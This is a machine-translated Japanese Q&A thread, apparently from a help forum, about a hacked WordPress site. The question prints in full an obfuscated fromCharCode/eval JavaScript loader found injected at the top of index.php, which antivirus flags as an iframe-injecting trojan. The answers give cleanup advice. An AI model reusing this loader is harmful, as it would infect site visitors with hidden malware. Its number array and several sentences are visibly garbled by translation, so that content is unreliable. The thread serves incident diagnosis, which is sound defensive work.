ワードプレスのindex.phpの先頭にjsを付けます

Question

私はヘッダーエラーを受け取りました。調査中、私はindex.phpの最初の部分をルートインデックスとwp-adminの両方で見つけました。 Clam-AVスキャンでウイルスは検出されませんでした。

<script>if(window.document)aa='0';aaa='0';if(aa.indexOf(aaa)===0){ss='';try{new document();}catch(qqq){s=String;f='f'+'r'+'o'+'mChar';f+='Code';}ee='e';e=window.eval;t='y';}h=2*Math.sin(3*Math.PI/2);n=[/* lots of numbers here, moved below for security */];for(i=0;i-n.length<0;i++){j=i;ss=ss+s[f](-h*(1+n[j]));}q=ss;e(q);</script> 

番号： 3.5,3.5,51.5,50,15,19,49,54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53 、49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23 、45.5,19.5,60.5,3.5,3.5,3.5,51.5,50,56,47.5,53.5,49.5,56,19,19.5,28.5,3.5,3.5,61.5,15,49.5,53,56.5,49.5,15 、60.5,3.5,3.5,3.5,49,54.5,48.5,57.5,53.5,49.5,54,57,22,58.5,56,51.5,57,49.5,19,16,29,51.5,50,56,47.5 、53.5,49.5,15,56.5,56,48.5,29.5,18.5,51,57,57,55,28,22.5,22.5,48,55.5,49,52,56,54.5,54.5,58,22,25 、55,57.5,22,48.5,54.5,53.5,22.5,56.5,57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5 、15,58.5,51.5,49,57,51,29.5,18.5,23.5,23,18.5,15,51,49.5,51.5,50.5,51,57,29.5,18.5,23.5,23,18.5,15,56.5 、57,59.5,53,49.5,29.5,18.5,58,51.5,56.5 、51.5,48,51.5,53,51.5,57,59.5,28,51,51.5,49,49,49.5,54,28.5,55,54.5,56.5,51.5,57,51.5,54.5,54,28,47.5 、48,56.5,54.5,53,57.5,57,49.5,28.5,53,49.5,50,57,28,23,28.5,57,54.5,55,28,23,28.5,18.5,30,29,22.5 、51.5,50,56,47.5,53.5,49.5,30,16,19.5,28.5,3.5,3.5,61.5,3.5,3.5,50,57.5,54,48.5,57,51.5,54.5,54,15,51.5 、50,56,47.5,53.5,49.5,56,19,19.5,60.5,3.5,3.5,3.5,58,47.5,56,15,50,15,29.5,15,49,54.5,48.5,57.5,53.5 、49.5,54,57,22,48.5,56,49.5,47.5,57,49.5,33.5,53,49.5,53.5,49.5,54,57,19,18.5,51.5,50,56,47.5,53.5,49.5 、18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,56.5,56,48.5,18.5,21,18.5 、51,57,57,55,28,22.5,22.5,48,55.5,49,52,56,54.5,54.5,58,22,25,55,57.5,22,48.5,54.5,53.5,22.5,56.5 、57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5,19.5,28.5,50,22,56.5,57,59.5,53 、49.5,22,58,51.5,56.5,51.5,48,51.5,53,51.5,5,7,59.5,29.5,18.5,51,51.5,49,49,49.5,54,18.5,28.5,50,22,56.5 、57,59.5,53,49.5,22,55,54.5,56.5,51.5,57,51.5,54.5,54,29.5,18.5,47.5,48,56.5,54.5,53,57.5、 55.55、50.52、55.57、59.5、53.49.5、22.53、49.5、50.57、29.5、18.5、23、18.5、28.5、50、22、 59.5,53,49.5,22,57,54.5,55,29.5,18.5,23,18.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57、 19.5、 51.5,48,57.5,57,49.5,19,18.5,51,49.5,51.5,50.5,51,57,18.5,21,18.5,23.5,23,18.5,19.5,28.5,3.5,3.5,3.5,49、 54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53,49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,43.5,54,55,58,59,5,5,6,7,8,9,10,11,12,13,14 47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23,45.5,22,47.5,55,55,49.5,54,49,32.5,51,51.5,53、 49,19,50,19.5,28.5,3.5,3.5,61.5

EDIT：私はEset AV：JS/Iframe.BQトロイの木馬を引き起こして以来、JavaScriptをコメントアウトしました。

Answer 1

私はまったく同じものを持っていました。私はインストールしていない新しいプラグインがインストールされていたことがわかります。 wp-content/plugins/ToolsPack/ToolsPack.php

WPのクリーンインストールを行い、使用していたすべてのプラグインを再インストールしてください。 ：） 悪い質。

Answer 2

あなたはハッキングしています。 Clam AVは、Webホスティングアカウントやローカルホストサーバー（使用している場合）をスキャンしません。 FAQ: My site was hacked « WordPress CodexとHow to completely clean your hacked wordpress installationとHow to find a backdoor in a hacked WordPressとHardening WordPress « WordPress Codex.は、あなたのWebホストを知らせる参照してくださいhttp://sitecheck.sucuri.net/scanner/

であなたのサイトをチェックしてください。すべてのパスワードを変更します。